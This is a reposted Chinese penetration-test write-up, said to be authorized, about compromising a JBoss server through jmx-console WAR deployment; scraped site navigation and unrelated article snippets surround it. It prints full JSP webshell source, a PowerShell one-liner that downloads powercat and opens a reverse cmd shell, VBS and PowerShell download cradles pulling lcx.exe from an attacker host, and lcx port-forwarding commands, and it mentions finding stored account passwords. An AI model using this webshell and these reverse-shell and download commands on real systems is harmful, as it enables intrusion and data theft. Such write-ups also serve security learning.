0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
会员中心
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

一次不完美的Jboss渗透

jf_Fo0qk3ln 来源:先知社区 2023-03-07 10:54 次阅读

一.前言

最近做渗透测试中遇到一个jboss的站,在其中学到一些在乙方工作挺有用的技巧(这次测试是进过授权测试)在次分享一下

二.信息收集

先通过namp进行扫描,同时进行目录扫描,发现8080/jmx-console/,发现是jboss的站,百度到jboss可以部署war包getshell,访问http://xxxx:8080//jmx-console/

三.漏洞利用

全局搜索jboss.system,点击进入

571dc0be-bc74-11ed-bfe3-dac502259ad0.png

1.制作war包把木马文件gg.jsp(我是一个直接执行命令代码)用压缩软件压缩为zip,然后更改后缀为war,然后将该war上传到互联网上能够访问的网
站上

	//gg.jsp <%@ page contentType="text/html;charset=big5" session="false" import="java.io.*" %> <html> <head> <title>title> <meta http-equiv="Content-Type" content="text/html; charset=big5"> head> <body> <% Runtime runtime = Runtime.getRuntime(); Process process =null; String line=null; InputStream is =null; InputStreamReader isr=null; BufferedReader br =null; String ip=request.getParameter("cmd"); try { process =runtime.exec(ip); is = process.getInputStream(); isr=new InputStreamReader(is); br =new BufferedReader(isr); out.println("
"); while( (line = br.readLine()) != null ) { out.println(line); out.flush(); } out.println("
"
); is.close(); isr.close(); br.close(); } catch(IOException e ) { out.println(e); runtime.exit(1); } %> body> html> 我这里就用python 简单创建个ftp服务(这也是python的一个巧用)

	python -m SimpleHTTPServer 8589 

57368a18-bc74-11ed-bfe3-dac502259ad0.png

57513926-bc74-11ed-bfe3-dac502259ad0.png

2.进入jboss.system页面找到如下,填入远程的war文件地址

5764818e-bc74-11ed-bfe3-dac502259ad0.png

成功部署的界面如下

57b992c8-bc74-11ed-bfe3-dac502259ad0.png

3.访问shell地址,并执行命令

581b2024-bc74-11ed-bfe3-dac502259ad0.png

四.进一步渗透

1.在获得php shell的基础上,我们需要一个真正的cmd shell,这样有利于操作,进过nmap扫描,发现是windows,我们可以通过powershell进行shell反弹

	powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c ip -p port -e cmd 

5836da6c-bc74-11ed-bfe3-dac502259ad0.png

本地监听,成功获取一个cmd shell,接下来就是提权了

585f11ee-bc74-11ed-bfe3-dac502259ad0.png

2.在cmd 中查看端口开放信息,3389和445都开放了 想到了永恒之蓝打一波,先看看打没打永恒之蓝的补丁,和看看系统信息,发现打了很多补丁

58820c8a-bc74-11ed-bfe3-dac502259ad0.png

可以通过如下链接查看补丁编号 网址:https://micro8.gitbook.io/micro8/contents-1/1-10/1windows-ti-quan-kuai-su-cha-zhao-exp 查找永恒之蓝补丁编号进行比对发现该目标机器并没打补丁

58b30f9c-bc74-11ed-bfe3-dac502259ad0.png

58f140f0-bc74-11ed-bfe3-dac502259ad0.png

3.看端口扫描结果,3389过滤了,445也过滤了,只有端口转发再打了

5926d6e8-bc74-11ed-bfe3-dac502259ad0.png

4.先在shell中查看有那些任务,看看有没杀毒软件,初看没有,但后来才发现了,居然有卡巴斯基

5949d832-bc74-11ed-bfe3-dac502259ad0.png

5.没事就到处浏览目录查看内容(发现google账号密码居然记录在txt文件中),发现任何目录都能浏览和看信息,就怀疑这个用户的权限,赶紧看了哈…居然是administrator 组的,那提权就不用了涩,但还是想3389连进去

5967c23e-bc74-11ed-bfe3-dac502259ad0.png

6.打算用vbs下载一个lcx或者EarthWorm进行端口转发,vbs下载代码,一般下载在C:WindowsTemp目录下,可读可写vbs下载代码

	echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs echo Post.Open "GET","http://ip/lcxx/lcx.exe",0 >>download.vbs echo Post.Send() >>download.vbs echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs echo aGet.Mode = 3 >>download.vbs echo aGet.Type = 1 >>download.vbs echo aGet.Open() >>download.vbs echo aGet.Write(Post.responseBody) >>download.vbs echo aGet.SaveToFile "C:WindowsTemp2.txt",2 >>download.vbspowershell 下载代码

	powershell (new-object System.Net.WebClient).DownloadFile( 'http://ip:7667/lcxx/lcx.exe','C:WindowsTemp2.txt')7.当自己写进去了后,更名为exe执行的时候,被杀了,最后又看了下任务,才发现卡巴斯基,然后就一直被卡在这里8.lcx命令如下lcx 命令

	//被攻击机器 lcx -slave 自己外网ip 51 内网ip 3389 //攻击机器 lcx.exe -listen 51 9090由于防火墙限制,部分端口如3389无法通过防火墙,此时可以将该目标主机的3389端口透传到防火墙允许的其他端口,如53端口.

	lcx -tran 53 目标主机ip 3389

总结

虽然暂时没有成功,但从中还是学到许多渗透知识,也明白了实战能提高许多技术。不足就是知识不够,还需努力。


审核编辑 :李倩


声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • 漏洞
    +关注

    关注

    0

    文章

    204

    浏览量

    15373
  • 渗透
    +关注

    关注

    0

    文章

    20

    浏览量

    6274
  • Shell
    +关注

    关注

    1

    文章

    365

    浏览量

    23368

原文标题:实战|一次不完美的Jboss渗透

文章出处:【微信号:菜鸟学信安,微信公众号:菜鸟学信安】欢迎添加关注!文章转载请注明出处。

收藏 人收藏

    评论

    相关推荐

    不完美的伴侣机器人?

    在与人类交互的过程中,表现出与人类相似的不完美,我们就有信心建立起长期的人机关系。”  位研究员在接受BBC采访时说,机器人的开发取决于用途,工业机器人当然需要很完美,我们不希望它们犯错误。但是对伴侣机器人来说,它们的行为很重
    发表于 12-28 14:42

    Linux环境下怎么安装配置JBoss

    系统信息操作系统:CentOS 7JDK版本:1.8 JBoss版本:JBoss EAP 6.2
    发表于 07-18 08:12

    让STM32完美的处理字符串

    今天因为想让STM32完美的处理字符串,所以就想着让STM32嵌入lua,本来想用f103c8t6,但是编译就提示内存不足......所以单片机的型号选择的\我下载到了RBT6的芯片上测试的先说
    发表于 08-20 08:11

    循环充放电一次就是少一次寿命吗?

    循环充放电一次就是少一次寿命吗?循环就是使用,我们是在使用电池,关心的是使用的时间,为了衡量充电电池的到底可以使用多长时间这样个性能,就规定了循环
    发表于 09-07 02:06 2063次阅读

    一次波过程的等值电路

    一次波过程的等值电路 图 一次波过程的等值电路 在电动机端子上安装阻抗匹配器可
    发表于 07-18 11:24 1700次阅读
    <b class='flag-5'>一次</b>波过程的等值电路

    一次电池为什么不能被充电?

    一次电池为什么不能被充电? 一次电池不能被充电再生是构成一次电池体系的本性所决定的,因为一次电池的电极反应不可逆,也就是说,放电后的放电产
    发表于 10-28 15:29 5856次阅读

    循环充放电一次就是少一次寿命吗?

    循环充放电一次就是少一次寿命吗?     循环就是使用,我们是在使用电池,关心的是使
    发表于 11-11 13:59 849次阅读

    电池循环充放电一次就是少一次寿命吗?

    电池循环充放电一次就是少一次寿命吗? 循环就是使用,我们是在使用电池,关心的是使用的时间,为了衡量充电电池
    发表于 09-06 11:05 3595次阅读

    游戏AI的前世今生,完美的目标不完美的世界

    。AlphaGo Zero的第一次尝试是完全随机的,在每场比赛结束后,它都会对所取得胜利和未取胜的新知识进行总结。经过训练,最后这个AI和曾击败过李世石的AlphaGo直接对决,以100比0拿下了彻底的胜利。
    的头像 发表于 08-28 09:00 3091次阅读

    微软SurfaceHeadphones无线降噪耳机体验 一次惊艳但不完美的尝试

    随着越来越多的手机选择砍掉 3.5 毫米耳机插孔,无线蓝牙耳机从前几年的小众产品迅速变成了很多用户的刚需。
    的头像 发表于 04-23 09:58 5895次阅读

    电气一次识图基础

    电气一次识图基础
    的头像 发表于 11-12 11:24 2122次阅读

    记脚本小子的一次渗透全过程

    .前言 在一次综合渗透的过程中遇到的比较完整的渗透流程。很多现查的技巧,这次渗透的基础是基
    的头像 发表于 06-14 09:21 569次阅读
    记脚本小子的<b class='flag-5'>一次</b><b class='flag-5'>渗透</b>全过程

    一次电池与二电池介绍

    电池大致可分为“一次电池”和“二电池”。 “一次电池”是一次用完就处理掉的一次性电池, 而可以反复充电循环使用的电池称为“二
    的头像 发表于 07-05 17:24 4687次阅读
    <b class='flag-5'>一次</b>电池与二<b class='flag-5'>次</b>电池介绍

    一次调频和二调频的概念 一次调频可以实现无差调节?

    一次调频和二调频的概念 一次调频可以实现无差调节? 一次调频和二调频的概念 1.
    的头像 发表于 10-17 16:15 9369次阅读

    基波是一次谐波么 基波与一次谐波的区别

    基波是一次谐波么 基波与一次谐波的区别  基波和一次谐波是两个不同的概念。 基波是在谐波分析中指的是频率最低且没有任何谐波成分的波形,它是构成复杂波形的基础。在正弦波中,基波就是正弦波的本身。基波
    的头像 发表于 04-08 17:11 7583次阅读